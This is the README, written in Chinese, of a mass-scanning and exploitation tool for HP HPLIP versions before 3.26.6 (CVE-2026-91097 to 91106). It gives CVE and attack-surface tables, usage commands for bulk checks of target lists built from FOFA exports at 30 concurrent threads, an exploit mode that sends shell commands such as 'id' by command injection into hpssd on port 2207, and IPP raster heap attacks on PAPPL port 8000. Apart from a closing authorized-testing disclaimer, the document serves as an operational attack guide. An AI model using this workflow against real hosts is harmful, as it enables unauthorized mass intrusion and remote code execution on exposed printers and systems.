针对 HP HPLIP CVE-2026-91097–91106(<3.26.6)的大规模检查/研究利用工具,PAPPL :8000 IPP 探测 + hpssd 模板
针对 HP HPLIP < 3.26.6 的大规模检查与研究利用驱动 — CVE-2026-91097 至 CVE-2026-91106。
| CVE | CVSS 4 | CWE | 远程 |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | 是 (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | 是 (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | 本地 |
| CVE-2026-91100 | 6.8 | CWE-78 | 本地 |
| CVE-2026-91102 | 8.4 | CWE-78 | 本地 |
| CVE-2026-91101 | 5.1 | CWE-129 | 物理 |
| CVE-2026-91103 | 5.1 | CWE-191 | 物理 |
| CVE-2026-91104 | 9.3 | CWE-122 | 是 |
| CVE-2026-91105 | 8.6 | CWE-122 | 是 (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | 是 |
已修复: HPLIP 3.26.6+
| 攻击面 | 检测 | 利用说明 |
|---|---|---|
hpssd :2207 | TCP + XML 探测 | -c id 命令注入模板(旧式 hpssd 风格) |
CUPS/IPP :631 | HTTP 探测 | 目录 / 指纹 |
HPLIP Printer Application :8000+ | HTTP PAPPL UI + 版本字符串 | IPP Print-Job + PWG 光栅研究(ZDI-26-656 / PAPPL < 1.4.12)— 并非通过 HTTP 返回 shell 输出 |
FOFA body="hplip" 命中通常是 :8000 PAPPL,而非 :2207。在目标列表中使用 host:port。
--flow 大规模检查)
pip install -r requirements.txtpip install -r requirements.txt
# Single target (default ports 631, 2207, 9100 if no port given)
python poc.py -u 192.0.2.10 --mode check
# FOFA port (recommended)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# Mass — all 10 CVEs
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# Critical network heap CVEs only
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# Exploit research (PAPPL on :8000 → IPP raster; -c id only meaningful on hpssd:2207)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# Save export as fofa_csv_1049.csv (or pass -i)
python fofa_to_list.py
# list.txt (all) + list_hplip_printer.txt (title hint = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
带有 |CVE… 的行使用 | 之前的部分作为主机(可选的 CVE 提示,用于命中输出)。
| 选项 | 描述 |
|---|---|
-u / --url | 主机、host:port 或 http://host:port |
--list | 每行一个目标 |
--mode | check 或 exploit |
--cve | all 或逗号分隔的 CVE ID |
-c / --command | Shell 命令(仅用于 hpssd 命令注入尝试) |
--heap-size | 原始 TCP 堆探测大小(默认 8192) |
--threads, -j | 大规模并发数(默认 20) |
--timeout | 每目标超时秒数(默认 8) |
--flow, -f | 每目标一行结果 |
--output | JSONL(默认 massexploit_results.jsonl) |
--vuln-list | hits.txt(检查)或 exploited.txt(利用) |
| 文件 | 内容 |
|---|---|
massexploit_results.jsonl | 每台主机的完整 JSON |
hits.txt | 候选目标(host|cve,…) |
status 值| 状态 | 含义 |
|---|---|
hplip_surface_candidate | 端口开放 + 版本/CVE 映射 |
network_surface_version_unknown | TCP 开放,可能为 HPLIP/PAPPL,版本无法读取 |
no_open_ports | 扫描端口上无可达服务 |
patched_version | HPLIP 版本 ≥ 3.26.6 |
| 状态 | 含义 |
|---|---|
pappl_raster_sent_no_shell_output | 在 PAPPL 端口发送了 IPP/光栅;HTTP 中无 id(堆 RCE 类) |
exploit_attempted_no_confirm | 已尝试,无验证 |
exploited | 仅当响应匹配命令注入启发式规则时(罕见) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all 中列出,但无法大规模远程利用。仅用于授权安全测试。您有责任遵守适用法律和项目规则。